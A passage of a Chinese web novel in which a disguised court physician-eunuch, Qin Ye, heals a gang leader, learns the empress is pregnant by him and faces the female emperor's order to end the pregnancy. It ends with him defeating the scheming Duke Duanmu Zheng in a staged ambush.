“会不会是兵器录第一高手所为？” “不可能。”赵马玄断然否定，“兵器录第一早已隐世多年，据说正在冲击玄天境境界。这等人物，不会轻易出手。” 秦烨若有所思。一个武功高强的剑客，就这样悄无声息地死去，其中必有隐情。 “最近江湖上暗流涌动。”赵马玄压低声音，“不仅是秦清月，还有好几位高手都莫名其妙地消失了。” “都是什么人？” “兵器录前二十的高手，已经死了三个。”赵马玄神色凝重，“除了秦清月，还有排名第十五的"铁掌"孟武扬，第十八的"追风剑"秦有影。” 秦烨心头一震：“短短时间内，连续死了三位高手？” “不错。”赵马玄点头，“而且死状都极为凄惨，像是被什么东西生生撕碎的。” 会客厅内的气氛顿时变得凝重起来。秦烨的目光再次落在那柄紫电剑上，剑身寒光闪烁，似乎在诉说着什么。 “江湖险恶啊。”赵马玄感慨道，“即便是青虹剑魔这等高手，也难免阴沟翻船。秦兄初入江湖，一定要多加小心。” 秦烨点头不语。他的心思却飘到了远处。这把剑的前主人，究竟经历了什么？又是谁取走了他的性命？ 种种疑问在秦烨心头萦绕。他隐隐觉得，这把剑背后的故事，或许比表面看起来要复杂得多。 “赵兄若是喜欢，这把剑就送给你了。”赵马玄突然开口。 “这怎么使得？”秦烨连忙摆手，“此剑来历不凡，我怎敢妄自收下。” “你我既是兄弟，又何必客气？”赵马玄执意要送，“况且这剑落在你手里，也算是物尽其用。” 秦烨犹豫片刻，终究还是接过了紫电剑。剑身入手，一股凛冽的寒意顺着手臂蔓延全身，仿佛有什么东西在血液中流淌。 这把剑不简单。秦烨心中暗道。不仅是因为它曾属于兵器录第二高手，更因为它本身就蕴含着不寻常的气息。 “多谢王兄厚赠。”秦烨郑重道谢。 “哈哈，你我兄弟之间，不必如此。”赵马玄爽朗一笑，“对了，最近江湖上不太平，李兄若是遇到什么麻烦，尽管来找我。” “赵兄，这武道境界究竟如何划分？”秦烨望着眼前的赵马玄，目光中带着几分求知若渴的神色。他刚踏入这片天地不久，对于武道的诸多规则仍是一知半解。 赵马玄正在品茶，闻言放下茶盏。 “这武道境界啊，说来也简单。”赵马玄的声音沉稳有力，带着多年习武之人特有的气质，“九品至七品为入流，六品至四品为高手，三品以上便是真正的强者。” 秦烨微微颔首，指尖无意识地在桌面上轻叩，发出细微的声响：“这么说来，能达到三品的，这等强者足以傲视八方？” “正是如此。”赵马玄点头，眼中闪过一丝追忆之色，“三品之上的高手，放眼天下也是凤毛麟角。老夫游历江湖数十载，遇到的三品高手屈指可数。” 秦烨端起茶盏轻抿一口，目光不经意间扫过赵马玄。这位在兵器录上排名第三的高手，不知达到了何等境界？ 赵马玄似乎察觉到了秦烨的心思，苦笑着摇了摇头：“我啊，卡在四品已有数载，想要更进一步，却是难如登天。” 这番话让秦烨心头一震。四品就能在兵器录上排名第三，那排在前两位的该是何等存在？一时间，他心中涌起无数疑问。 “赵兄，不知这武道境界之间，差距究竟有多大？”秦烨追问道。 “每一重境界都如天堑，普通人穷尽一生或许都停留在九品。能到四品已是不易，更遑论更高境界。”赵马玄的声音中带着几分感慨，“就拿我来说，这些年来不知尝试过多少次突破，却始终差那么一线。” “那一品呢？”秦烨追问道，眼中闪烁着求知的光芒。 “至尊境界被誉为神阶，传闻突破便可飞升成仙。”赵马玄说到这里，自己都笑了，眼角的皱纹舒展开来，“当然，这种说法听着就像天方夜谭。” 秦烨也跟着笑了起来，这种说法确实有些荒诞。屋外传来几声鸟鸣，打破了短暂的沉默。 “不过既然有这种传言流传，想必也不是空穴来风。”赵马玄话锋一转，目光灼灼地看向秦烨，“贤弟身上气息不凡，不知可曾测过自己的境界？” 秦烨摇摇头，神色坦然：“实不相瞒，我对这些境界划分也是刚刚才有了解。” “这样啊……”赵马玄眼睛一亮，脸上浮现出一抹兴致，“不如这样，贤弟对我出一拳，我便能大致判断你的境界。” “这……不太好吧？”秦烨有些迟疑，眉头微皱。 “无妨。”赵马玄哈哈一笑，大步走到院中，摆出一个马步，“我们武者间常用这种方式切磋，来吧。” 见赵马玄如此坚持，秦烨也不再推辞：“那我就失礼了。”他缓步走到院中，月光洒在他的身上，为其平添几分神秘气息。 赵马玄心中暗自盘算，以秦烨的年纪，就算天赋异禀，估计也就六七品的水平，自己完全可以承受。 “尽管用力，不必顾忌。”赵马玄又补充了一句，神色从容。 秦烨点点头，只用了五成力道，一拳轰出。夜风突起，院中的树叶沙沙作响。 “砰！” 这一拳正中赵马玄胸膛。声音清脆，却蕴含着惊人的力道。 赵马玄脸色骤变，踉跄后退数步，胸口一阵翻涌。 就在这时，一道红影闪过，商媛快步走来，一把扶住摇摇欲坠的丈夫。她的面容在昏暗的灯光下显得格外苍白。 “夫君！”她神色焦急，声音中带着颤抖。 “无事……”赵马玄话音未落，一口鲜血喷出，在月光下显得格外刺目。 第五十九章 赵马玄的隐疾 商媛顿时怒目圆睁，死死盯着秦烨：“你是何人，竟敢伤我夫君！”她的声音中充满了愤怒和担忧。 “这是赵兄让我……”秦烨一脸无辜，话还未说完就被打断。 “夫人莫怪，是我让贤弟出手的。”赵马玄赶紧解释，声音虚弱却坚定。 他擦去嘴角血迹，强撑着站直身子，眼中闪过一丝震惊：“贤弟的功力……怕是已达四品境界。” 秦烨也吃了一惊，没想到自己随意一拳就有这般威力。 “赵兄，我还有句话不知当讲不当讲。”秦烨犹豫片刻，还是开口道。 “但说无妨。”赵马玄的呼吸已经平稳了些。 “其实刚才那一拳……我只用了五成力道。” 此言一出，院中顿时一片寂静。赵马玄的脸色瞬间变得苍白，额头上渗出细密的汗珠。五成力道？那一拳就让自己吐血了，若是全力……他不敢再想下去。 “贤弟武艺高强，愚兄自愧不如。”赵马玄连忙拱手，语气中带着几分讨好，“还是免了吧。” 秦烨见状也不再坚持，转而将目光投向一旁的商媛。阳光下，这位帮主夫人确实风韵犹存，虽已年过三旬，却依旧保养得宜。 “这位想必就是嫂嫂了？果然是倾城之貌。”秦烨微微一笑，语气恭敬。 听到这话，商媛原本紧蹙的眉头舒展开来。她仔细打量着眼前的少年，虽然方才对相公出手，但现在这般有礼，又生得一表人才，倒也不似什么狂妄之辈。 “贤弟谬赞了。”商媛掩嘴轻笑，眼角的细纹显出几分温柔，“嫂子年纪大了，哪比得上外头那些小姑娘。怕是再过几年，你赵兄就要被哪个狐媚子勾走了。” “夫人！”赵马玄脸色一沉，声音中带着几分不悦，“这话当着贤弟的面说什么？” “我这是提醒你！”商媛不甘示弱，玉手叉腰，“上个月你还说要纳妾，现在倒是装起正人君子来了？” 眼看这对夫妻就要吵起来，秦烨赶忙打圆场：“赵兄嫂嫂莫要动怒，今日叫我来，不知有何要事？” 赵马玄闻言，面露难色，眼神闪烁，一时竟说不出话来。 “赵兄这是不把我当自家兄弟啊。”秦烨笑道，“有什么话直说便是。” “就是，你怎么婆婆妈妈的。”商媛在一旁帮腔，“又不是什么见不得人的事。” 赵马玄深吸一口气，终于开口：“贤弟，实不相瞒，愚兄与夫人成亲十余载，至今未有子嗣。听闻贤弟医术高明，连皇上龙体都能医治，所以……” “原来如此。”秦烨恍然，目光在赵马玄身上打量。这位玄铁会帮主，武功虽然不弱，但那方面似乎…… 秦烨沉吟片刻，开口问道：“王兄可否说说，每月房事几次？” “这个……”赵马玄面露尴尬之色，支支吾吾半天，才低声道，“大约……六七次吧。” 秦烨眉头一挑：“时间呢？” “半刻钟左右……”赵马玄的声音越来越小，脸上已经泛起红晕。 听到这个回答，秦烨心中已有了判断。这位赵兄，不仅剑法快，这方面也是快得很啊。 “赵兄，让我号下脉。” 赵马玄伸出手腕，秦烨仔细诊脉。他的手指轻轻搭在赵马玄的脉门上，眉头渐渐皱起，面色也变得凝重起来。 “嫂嫂，也让我诊断一下。” 商媛痛快地伸出手腕。秦烨号脉片刻，轻轻点了点头。 “嫂嫂身子无碍，调理一番即可。”秦烨缓缓开口，“主要问题……在赵兄这边。” 此言一出，赵马玄脸色大变，额头上的汗珠更密了。 商媛却是一脸得意：“听到了吧？是你的问题！还想纳妾，做梦！” “夫人，是我对不住你……”赵马玄连连认错，声音中带着几分愧疚。 商媛转向秦烨，急切问道：“可有法子医治？” “此事棘手，需要慢慢调养。”秦烨沉吟道，目光中闪过一丝深意，“不过，我倒是有一事相求……” “贤弟但说无妨！”赵马玄立刻表态，语气中带着几分迫切。 “赵兄，其实这事也不算什么大不了的。”秦烨的声音打破了沉寂，他站在赵马玄身侧，语气轻松，“不过，还是先替你看看病吧。” 赵马玄抬头看向秦烨，眼中闪过一丝希冀与迟疑：“我这病……当真能治？” 这话问得小心翼翼，声音里带着几分颤抖。作为玄铁会帮主，他向来说一不二，何曾如此患得患失过？可这事关他的后半生，更关系到传宗接代的大事。在这个时代，无后便是最大的不孝，这让他如何能不担心？ 一旁的商媛也不由得攥紧了手帕，眼中满是期待地看向秦烨。自从赵马玄得了这病，她便寝食难安，四处求医问药，可始终无果。 秦烨看出了两人的焦虑，嘴角勾起一抹淡淡的笑意：“赵兄多虑了。你这病在我看来，不过是小事一桩。” “当真？”赵马玄猛地站起身，太师椅被带得发出一声闷响。 “自然。”秦烨点头，语气笃定。 听到这话，赵马玄长舒一口气，紧绷的肩膀也放松下来。他重新坐回椅子上，目光中多了几分笑意：“早就听闻贤弟医术高明，今日一见，果然名不虚传。” 堂内的气氛顿时轻松了许多，商媛连忙命人上茶。 待下人退下后，赵马玄忽然想起什么，转而问道：“对了贤弟，说说看，你要对付的是何人？” “赵兄方才进来时，可曾见到一个人？”秦烨不答反问，目光意味深长。 赵马玄愣了一下，随即回想起方才确实遇到一人，当即问道：“就是他？” “正是。” “此人为何会出现在我玄铁会后堂？”赵马玄皱眉，转头看向一旁的夫人商媛，“但是太太邀请的？” 商媛连忙摇头：“我并未请过外人。”她语气中带着几分慌乱，生怕赵马玄误会。 秦烨端起茶杯，轻啜一口：“此人是来寻杀手的。” 茶香在口中弥漫，却掩不住话语中的寒意。 “哦？”赵马玄眉头一挑，眼中精光闪烁，“既是来寻杀手，为何又匆匆离去？” “因为我易容成了你们帮中的人，与他谈妥了买卖。”秦烨放下茶杯，语气平淡如水，“他以为找到了帮手，殊不知已经落入圈套。” 赵马玄眼中闪过一丝惊讶：“贤弟还懂易容之术？” “略通一二。”秦烨谦逊道。 “那他要杀的是谁？”赵马玄追问。 堂内的气氛骤然凝重，秦烨目光一冷：“我。” “什么？”赵马玄猛地站起，拳头攥得咯咯作响，“竟敢要杀贤弟？” 一旁的商媛也是脸色一变。秦烨可是来给她相公看病的，若是出了什么意外，赵马玄的病该找谁医治？ “此人是谁？”赵马玄咬牙问道，声音里带着浓浓的杀意。 “成国公端木正。” “想不到是这个混蛋！”赵马玄冷笑一声，重重地拍了下桌案，“贤弟放心，这事交给我便是。” 第六十章 荣升翰林院 “多谢赵兄。”秦烨拱手，随即话锋一转，“现在，让我先替赵兄医治吧。” “好！”赵马玄二话不说，脱去上衣。他虽是帮派之主，但也不拘小节。 秦烨取出银针，手法如行云流水，每一针都精准无比地刺入穴位。银针在夕阳下泛着冷光，却给人一种莫名的温暖。 赵马玄忽然感觉体内气血翻涌，经脉中似有暖流流转，不由得心头一震。这针法竟还能助他突破武功？ 良久，秦烨收针，又开了几副药方，详细叮嘱了服用方法。商媛在一旁仔细记下，生怕遗漏半点。 “赵兄这病说来也怪，”秦烨一边收拾银针，一边解释道，“表面看是肾气亏虚，实则是经脉受阻。方才那套针法，便是为疏通经脉所用。” 赵马玄若有所思地点点头：“难怪我这些日子总觉得内力运转不畅。” “除了针灸，我还开了几副药方。”秦烨从怀中取出几张药方，“这第一副是调理阴阳，第二副是补益肾气，第三副……” 他详细解释着每副药方的功效，赵马玄和商媛听得认真。 待说完药方，两人便谈起了武学心得。赵马玄发现秦烨在武学上的见解独到，不由得越发佩服。 “贤弟这套"飞凤剑法"甚是精妙，”赵马玄赞叹道，“尤其是那个"凤舞九霄"的收势，更是巧妙。” 秦烨笑道：“赵兄过奖了。这套剑法还有许多不足之处。” 两人相谈甚欢，直到夕阳西下，秦烨才起身告辞。 临走前，他还特意叮嘱了几句房事上的注意事项，这才离开玄铁会。 看着秦烨远去的背影，赵马玄若有所思。这位贤弟，不简单啊。医术、易容、武功，样样精通。难怪那端木正要除之而后快。 不过，有他玄铁会在，谁敢动他的贤弟？ 赵马玄眼中寒光一闪，转身对商媛道：“夫人，去把钱豹叫来。” 商媛会意，立刻吩咐下人去请。 不多时，一个身材魁梧的汉子大步走进后堂，抱拳道：“帮主。” “钱豹，”赵马玄沉声道，“你带几个机灵点的兄弟，给我盯着端木正府上的动静。但要小心行事，别打草惊蛇。” “是！”钱豹应声，转身离去。 夜色渐深，玄铁会后堂灯火通明。赵马玄站在窗前，望着远处的灯火阑珊，眼中闪过一丝冷意。 端木正，你找死！ 夜色深沉，金阙宫内一片寂静。偶尔有巡逻的禁军踏过青石板路，脚步声在空旷的宫道上回荡。 秦烨推开承明殿的大门，映入眼帘的是伏案批阅奏章的女帝上官瑾。烛火摇曳，在她精致的侧脸上投下明暗不定的光影。 “回来了？”上官瑾头也不抬，语气中带着一丝不悦，手中的朱笔在奏章上划过。 秦烨轻步走近，目光扫过案头堆积如山的奏折，“陛下这是在等我？” “等你？”上官瑾抬起头，美眸中闪过一丝嗔怒，“朕只是在处理政务。”她的语气虽然强硬，但眼角的疲惫却出卖了她。 秦烨注意到她略显苍白的面容，眼下淡淡的青影昭示着她已经批阅奏章多时。案头的烛火已经换过一轮，残留的蜡泪凝固在烛台上。 “今日朝会上，朕为你谋了个好差事。”上官瑾放下手中的奏章，纤细的手指轻轻揉了揉太阳穴。 “翰林院人？”秦烨随口说道，目光却在她疲惫的神情上停留。 上官瑾眉头一挑，精致的面容上浮现出一丝讶异：“你早就心知肚明？” “昨日韩明远就送来了六品官服。”秦烨不以为意地说道，同时走到案前，为她斟了杯温热的茶水。 “你倒是消息灵通。”上官瑾接过茶盏，眯起眼睛，“这件事连朕都是今日才定下。”茶香袅袅升起，稍稍驱散了些许疲惫。 秦烨踱步到窗前，夜风轻拂，带来一丝凉意。“韩明远此人，倒是有趣。三代民部世家，门生故吏遍布天下。如今他主动举荐我这个"天子宠幸的近臣"，这态度，可是相当明显了。” “你说得不错。”上官瑾若有所思地抿了口茶，“韩家向来谨慎，这次如此表态，确实耐人寻味。” “在这朝堂之上，一举一动都关乎大局。”秦烨转身看向女帝，“陛下觉得，今晚轮到谁倒霉？” 上官瑾俏脸一红，茶盏差点脱手：“你这是在教朕做事？” “臣不敢。”秦烨微微一笑，“只是提个建议，这后宫之事，也是朝堂之事。陛下近日宠幸韩玉仪颇多，怕是要引起非议。” 上官瑾放下茶盏，玉指轻轻敲击着案几：“那依你之见？” “皇后许久未曾侍寝，不如……”秦烨的话中带着几分暧昧。 上官瑾沉吟片刻，终于点头：“来人，宣皇后过来。” 时间一点点流逝，烛火燃尽了一根又一根。半个时辰过去了，皇后却迟迟未至。 “这么久还不来？”上官瑾蹙眉，语气中带着明显的不悦，“长春宫到这也不过几百步的距离。” 秦烨心中也觉得不对劲。司马玉华虽然对上官瑾不敬，但也不至于如此怠慢。他正要开口，殿外突然传来急促的脚步声。 “娘娘身体不适，不能前来侍寝，恳请陛下宽恕。”一个陌生的宫女声音透过门缝传来，带着几分慌乱。 秦烨眉头紧皱。司马玉华向来身体康健，今日这突如其来的“身体不适”，怕是另有隐情。他注意到上官瑾的脸色瞬间阴沉下来。 “怎么回事？”上官瑾猛地站起身，玉手重重拍在案几上，“她这是在和朕耍性子？” “陛下息怒。”秦烨上前一步，“皇后娘娘或许真的身体不适。” “你倒是替她说话。”上官瑾冷笑，眼中闪过一丝寒意，“朕看她是仗着司马家的势力，故意和朕作对！” 秦烨摇头：“陛下，司马玉华向来谨慎，不会无缘无故做出这种事。依臣看，这其中必有蹊跷。” 上官瑾在殿内来回踱步，良久才停下：“你说得对，她虽然骄纵，但不会这般不智。这背后，怕是有人在搞鬼。” “不如让臣去看看？”秦烨提议道，“若真有什么意外，也好及时应对。” “你？”上官瑾迟疑了一下，美眸中闪过复杂的神色，“也好，你去探探究竟。若有异常……” “臣明白。”秦烨拱手，“若有异常，定会第一时间禀报陛下。” “放开我！我有要紧事要禀告陛下！”殿外有人挣扎着，声音却是熟悉的。 “雨竹？她怎么来了？难道皇后真的病重？”秦烨认出了这是司马玉华的贴身宫女 上官瑾手中朱笔一顿，眸光微闪，她冲着秦烨使了个颜色。 秦烨立即会意，朝殿外唤道：“让她进来。” 殿外的脚步声由远及近，宫女雨竹快步入殿，恭敬行礼。她偷眼看了看站在龙椅旁的秦烨，心中暗惊。短短一月，这位曾经的小太监，如今已能在陛下身边自由出入。这等地位，令人艳羡。 第六十一章 皇后娘娘怀孕了 “说说看，皇后娘娘是怎么回事？”上官瑾问道，声音中带着一丝不易察觉的紧张。 “回陛下，皇后娘娘用过早膳后突感不适，呕吐不止。”雨竹低着头，声音轻柔，“现在卧床休息，实在无力前来侍寝……” 秦烨听着雨竹的描述，眼中闪过一丝思索。这症状，确实有些蹊跷。他的手指无意识地摩挲着腰间的药囊，那是他随身携带的解毒之物。 “陛下，让我去看看吧。”秦烨沉声道。 上官瑾点头应允，纤细的手指轻轻摆了摆：“去吧，务必查清原因。” 秦烨随雨竹前往长春宫，一路上不断询问司马玉华近日的起居饮食。雨竹对答如流，却也透露出一丝担忧：“娘娘这几日胃口不好，常常食不下咽。” 秦烨走进内殿，看到司马玉华正躺在凤塌上，眉头紧锁，面色苍白。她的手指无力地搭在锦被上，整个人显得异常虚弱。 “秦烨来了？”司马玉华勉强睁开眼睛，声音虚弱。 “娘娘请放心，让我先诊脉。”秦烨上前，手指轻搭在司马玉华的手腕上。 脉象平稳，并无异常。这不对劲。若是中了蛊毒，脉象不该如此平和才是。秦烨继续诊察，突然灵光一闪。 “娘娘，可否冒昧问一句，您的月事可有异常？” 司马玉华愣了一下，仔细回想：“似乎……推迟了几日。” 秦烨心中了然，嘴角露出一丝笑意：“娘娘不必担心，只是这几日饮食不够规律，加上劳累所致。我明日来为娘娘施针，很快就能好转。” 司马玉华闻言松了口气，方才的忧虑一扫而空。她靠在软枕上，轻声道：“有劳秦公公了。” “娘娘好生休息，我先告退。”秦烨躬身退出内殿。 站在院中，秦烨抬头望着夜空中的明月，心中思绪翻涌。这可不是什么蛊毒，而是一件天大的喜事。只是这消息来得突然，他也不敢贸然说出。 回到凤阁时，上官瑾正在批阅奏章。见秦烨进来，她立刻放下朱笔：“如何？” “陛下放心，皇后娘娘并无大碍。”秦烨轻声道，“只是……” “只是什么？”上官瑾追问道，眼中闪过一丝担忧。 “只是这事，还需要再观察几日才能确定。”秦烨斟酌着说道。 上官瑾虽然疑惑，但见秦烨神色轻松，也就不再追问。她重新拿起朱笔，继续批阅奏章。 烛火摇曳，在墙上投下两道交错的影子。秦烨站在一旁，看着上官瑾批阅奏章的侧影，心中暗自盘算。 若是他猜得不错，不出一月，这后宫怕是要有一场大喜了。只是这消息来得突然，他也不敢贸然说出。万一判断有误，岂不是要闹出笑话？ 还是再等几日，等确定无误后再说不迟。 夜已深，凤阁内的烛火依旧明亮。上官瑾批阅完最后一份奏章，轻轻揉了揉太阳穴：“今日就到这里吧。” “陛下早些休息。”秦烨恭敬道。 第二天一早，秦烨就带着药材来到长春宫。司马玉华的气色比昨日好了许多，但仍有些倦怠。 “娘娘，我先为您施针。”秦烨取出银针，开始施针。 司马玉华闭目养神，任由秦烨施针。针尖刺入穴位，一丝暖意随之流淌。 “秦公公，你说我这是……”司马玉华欲言又止。 秦烨微微一笑：“娘娘不必担心，调养几日就好。” 施针完毕，秦烨又开了几副调理的药方。看着司马玉华服下药汤，他的心中越发确定了自己的判断。 接下来的几日，秦烨每日都会来长春宫为司马玉华诊脉。随着时日推移，他心中的猜测越发肯定。 长春宫外，夜色如墨，寒风呼啸，吹得宫灯忽明忽暗。 雨竹送秦烨至宫门，脚步微顿。她望着秦烨的背影，总觉得今晚的他有些不同寻常。往日里这人离开时总要依依不舍地说上几句，今日却显得格外沉默。 “秦烨，慢走。”她轻声唤道。 “嗯。”秦烨只是淡淡点头，转身便走，连个多余的眼神未留下。 这反常的态度让雨竹心头一滞。她下意识咬了咬唇，目送秦烨的身影消失在夜色中，才转身回了长春宫。 待走出雨竹的视线，秦烨脸上的淡漠瞬间荡然无存。他快步走到一处无人的角落，再也按捺不住内心的激动，仰天长笑。笑声在寂静的宫墙间回荡，惊起几只栖息的夜鸟。 “我就要升级当爹了！！” 原来司马玉华并非生病，而是有了身孕。这个发现让他心潮澎湃，恨不得立刻冲到司马玉华面前分享这份喜悦。他的手不自觉地颤抖着，脑 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“陛下，天大的喜讯啊！。”秦烨试探着说道，“若生下皇子，大周便有了国本。” “住口！”上官瑾厉声打断，转身直视秦烨，“这孩子不能留。” 秦烨如遭雷击，脸色瞬间苍白：“陛下此言何意？” “朕的意思很简单。”上官瑾目光如刀，一字一句道，“这个孩子，必须处理掉。” “为何？”秦烨强压着心中的怒意，声音微微发颤，“陛下不是一直想要皇嗣吗？” “正因为如此，这个孩子更不能留。”上官瑾冷笑，“你应该明白，这孩子体内流的是什么血。” 秦烨心头一颤。他当然明白上官瑾的顾虑。这个孩子没有上官家的血脉，若是个男孩，日后继承皇位，势必会引起轩然大波。但这是他的孩子，他的血脉。 “可万一是个公主呢？”他不甘心地问，声音中带着一丝祈求。 “公主也不行。”上官瑾斩钉截铁，“朕不能冒这个险。一旦消息走漏，必定会有人借题发挥。” 秦烨握紧拳头，指甲深深陷入掌心。他站在原地，仿佛被钉在那里一般。 第六十二章 女帝的抉择 “陛下三思。”他的声音沙哑。 “朕意已决。”上官瑾转过身，“你退下吧。” 秦烨没有动。他的喉咙像是被什么堵住了，想说的话都化作一声叹息。良久，他深深一揖，转身离去。 看着秦烨的背影，上官瑾心中泛起一丝不安。这是她与秦烨第一次产生如此大的分歧。或许可以让司马玉华生下孩子，再找个由头送出宫去？ 但这个念头刚起，就被她无情掐灭。太冒险了，中间任何一个环节出错，都可能危及大周的统治根基。不行，这个孩子，必须除掉。 上官瑾握紧了拳头，眼中闪过一丝决然。为了大周的江山社稷，她别无选择。 秦烨走在回府的路上，月光洒在他身上，拉出一道孤寂的影子。宫墙上的更声传来，提醒着时间的流逝。他的脚步很慢，像是在思索，又像是在犹豫。 回到府中，他坐在书房里，看着案上的医书发呆。烛火跳动，在他脸上投下明暗不定的光影。他想起司马玉华温柔的笑容，想起她最近略显疲惫的面容，心中一阵绞痛。 这个孩子，是他和司马玉华的血脉，是他们爱情的结晶。可现在，他却要亲手毁掉这一切。 “叩叩叩。”门外传来敲门声。 “进来。” 管家推门而入，手里端着一碗参汤：“大人，夜深了，喝碗参汤暖暖身子吧。” 秦烨摆摆手：“放下吧，你先去休息。” 管家欲言又止，最终还是将参汤放在案上，轻声退了出去。 秦烨端起参汤，热气腾腾的汤水映出他憔悴的面容。他忽然想起，司马玉华最近总说想喝参汤。原来是有了身孕的缘故。 这一夜，他辗转难眠。月光透过窗棂，在地上画出斑驳的影子。他想起上官瑾的话，想起司马玉华的笑容，心中充满矛盾和痛苦。 为什么会变成这样？他不断问自己。可是没有答案，只有无尽的煎熬。 天边泛起鱼肚白时，秦烨终于做出了决定。他换上一身干净的衣服，对着铜镜整理仪容。镜中的人面色疲惫，眼中却闪烁着坚定的光芒。 “来人。”他唤道。 “大人。”门外的侍卫应声而入。 “去请御医署院判来见我。” “是。” 秦烨站在窗前，看着初升的朝阳。他知道，自己即将面临人生中最艰难的抉择。但无论如何，他都要保护好司马玉华。至于那个还未出世的孩子，他只能在心中默默说声对不起了。 清晨的阳光洒落在承明殿的琉璃瓦上，金色的光芒映照着整个皇宫，显得格外庄严肃穆。上官瑾已经离开前往朝堂，留下秦烨一人站在宫门前，望着远处的天际。 微风拂过脸庞，带来一丝凉意。秦烨眉头微皱，昨夜的对话不断在脑海中回响。那个未出世的孩子，是他和上官瑾的血脉，却要被迫消失在这个世界上。作为一个父亲，这种痛苦让他难以承受。 “这该死的朝廷争斗。”秦烨攥紧拳头，指甲深深陷入掌心的肉里。 宫女雨竹匆匆跑来：“秦公公，娘娘请您去长春宫。” “知道了。”秦烨收敛心神，整理了一下衣袍。 长春宫内，司马玉华正襟危坐，眉宇间带着一丝倦意。秦烨为她施针完毕，看着她苍白的脸色，心中暗自叹息。 “秦公公……”司马玉华欲言又止。 “娘娘请说。”秦烨一边收拾银针，一边轻声道。 司马玉华犹豫片刻：“我这身子，当真无碍？” “身体并无大碍。”秦烨从袖中取出一张药方，“按此方服用便是。” 司马玉华接过药方，唤来侍女雨竹：“去御医署抓药。” “且慢！”秦烨突然出声，声音中带着一丝急切。 雨竹的脚步顿住，司马玉华蹙眉：“这是为何？” 秦烨沉吟片刻，目光在房内扫过：“此药……还是从司马府抓取为好。” “御医署出了什么问题？”司马玉华敏锐地察觉到不对劲。 秦烨摇头：“娘娘暂且按我说的做，具体缘由，容我查证后再禀告。” 见秦烨神色凝重，司马玉华虽有疑惑，却也不再追问：“雨竹，你去府上抓药。” 离开长春宫后，秦烨眼神渐冷。最近宫中频频出现蹊跷事件，御医署已经不可信任。端木正那老狐狸必然与此有关，既然如此，不如先拿他开刀。 秦烨来到城南一处偏僻院落，推门而入，只见王虎正在院中练拳。 “大哥。”王虎停下动作，抹了把汗。 “准备得如何？”秦烨问道。 王虎咧嘴一笑：“都 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话音未落，异变陡生。床榻上原本应该一动不动的“尸体”突然动了。只见秦烨缓缓坐起，月光透过窗棂洒在他的脸上，映出一抹令人心悸的冷笑。 “成国公，是不是太早下定论了？” 端木正瞳孔猛缩，茶杯“啪”的一声摔在地上，茶水四溅。“你……你没死？！” 惊愕之后，端木正很快冷静下来。他暗自冷笑，区区一个太监，就算没死又如何？自己可是堂堂五品高手，要杀这小太监，易如反掌。 想到这里，端木正不再犹豫，猛然出手。掌风呼啸，带着凌厉的杀意直奔秦烨面门而去。 然而秦烨的反应更快，他手指轻轻一弹，两枚银针破空而出，发出尖锐的破空声。 “噗嗤”两声轻响，银针准确命中端木正胸口要穴。端木正身形一滞，难以置信地看着自己的胸口：“你……你竟然会武功？” “很意外？”秦烨站起身，居高临下看着他，月光在他脸上投下阴影，“现在给你两个选择：要么死在这里，要么全力一战。” 端木正冷哼一声，强自镇定道：“狂妄小儿，就凭你也配？” 就在这时，隔壁房间传来细微的说话声。商媛有些担忧地看着丈夫赵马玄：“秦烨会不会有危险？端木正毕竟是禁军总戎，不好对付。” 第六十三章 暴打端木正 “放心，”赵马玄嘴角带着胸有成竹的笑意，“端木正不过五品境界，对贤弟来说不值一提。” 其实这场戏就是秦烨精心设计的局。他需要一个合适的对手来试试自己的真实实力。而端木正，就是最好的试金石。 房间内，端木正已经意识到自己中了圈套。玄铁会帮主赵马玄显然也参与其中，今日若不全力一搏，怕是难以活着离开这里。 “那就让你见识见识老夫的本事！”端木正怒吼一声，双拳轰出。 拳风呼啸，气势惊人。不愧是禁军总戎，这份功力确实不俗。然而在秦烨眼中，这点实力还不够看。他双手轻描淡写地一探，就轻松抓住了端木正的拳头。 端木正脸色瞬间涨得通红，额头青筋暴起。他不敢相信，自己全力一击竟被如此轻易化解？ 秦烨微微用力一推，端木正顿时踉跄后退数步，撞在身后的桌案上，茶具哗啦啦摔了一地。 端木正心中骇然，目光不由自主瞥向窗户。逃，现在就逃！ “别想逃，”秦烨冷笑着摇头，“赵马玄就在隔壁，你走不掉的。” 端木正咬牙切齿，强自镇定道：“刚才不过是试探，现在才是真本事！” 他双拳再度轰出，这次气势更盛，宛如猛虎下山。秦烨也不敢大意，凝神应对。 就在这时，端木正突然变招，收拳改腿，一记凌厉的鞭腿扫向秦烨面门。这一招来得又快又狠，若是寻常人必定措手不及。 “呵，果然老奸巨猾。”秦烨冷笑一声，迎面轰出一拳。 拳脚相撞，气浪翻涌。房间内的门窗瞬间被气劲震碎，杂物四处飞溅。烛火摇曳，在墙上投下诡异的影子。 这一击，分出了高下。 端木正只觉手臂发麻，一股难以抵挡的力道顺着腿部传来，整个人不由自主地后退三步。他心中惊骇不已，万万没想到，一个小太监竟有如此实力。 秦烨收回拳头，眼中闪过一丝满意。这一战，他对自己的实力有了更清晰的认识。 端木正已经在暗自盘算退路，但秦烨岂会给他机会。 “成国公，战都战了，何必急着走？”秦烨身形一闪，已经挡在窗前。他双手负后，神色从容，“不如，我们再打个痛快？” 端木正额头渗出冷汗，衣襟已经被汗水浸透。他终于明白，今天这局，自己怕是难逃了。 “小子，你到底是谁？”端木正喘着粗气问道。 “我是谁不重要，”秦烨淡淡一笑，月光映照下，他的笑容显得格外冰冷，“重要的是，你今天必须留下。” 话音未落，秦烨已经出手。这一次，他不再留手。 拳影重重叠叠，端木正只觉眼前尽是拳影，根本无从招架。他引以为傲的武功，在秦烨面前竟如同儿戏一般。 “砰！” 一声闷响，端木正重重摔在地上，胸口剧痛，显然已经受了内伤。地上的茶水浸湿了他的衣衫，狼狈不堪。 他艰难抬头，看着面前的年轻人，终于明白自己错得有多离谱。这哪里是什么小太监，分明是一个深藏不露的高手！ 秦烨居高临下看着他：“成国公，这一战，可还满意？” 端木正苦笑一声，他哪里还有资格谈满意不满意。今日这一败，不仅败了武功，更败了心气。 一代禁军总戎，就此折戟。 赵马玄站在门外，听着房间内传来的打斗声，不由咽了咽口水。破旧的木门被震得嘎吱作响，灰尘簌簌落下，仿佛随时会散架。 作为江湖老手，他能感受到屋内那股凌厉的气势。两个高手的对决，在这小小的房间内确实有些束手束脚。拳脚相交的闷响不断传来，偶尔夹杂着家具倒地的声音。 “这场较量怎么还没结束？秦烨不会有危险吧？”商媛站在赵马玄身边，眉头微蹙。 赵马玄嘴角扬起一抹笑意：“放心，凭他这点本事，这端木正还不够看。他这是在借机试招罢了。” “当真如此厉害？”商媛眼中闪过惊讶，随即又问道，“那你和秦烨比起来，谁更胜一筹？” 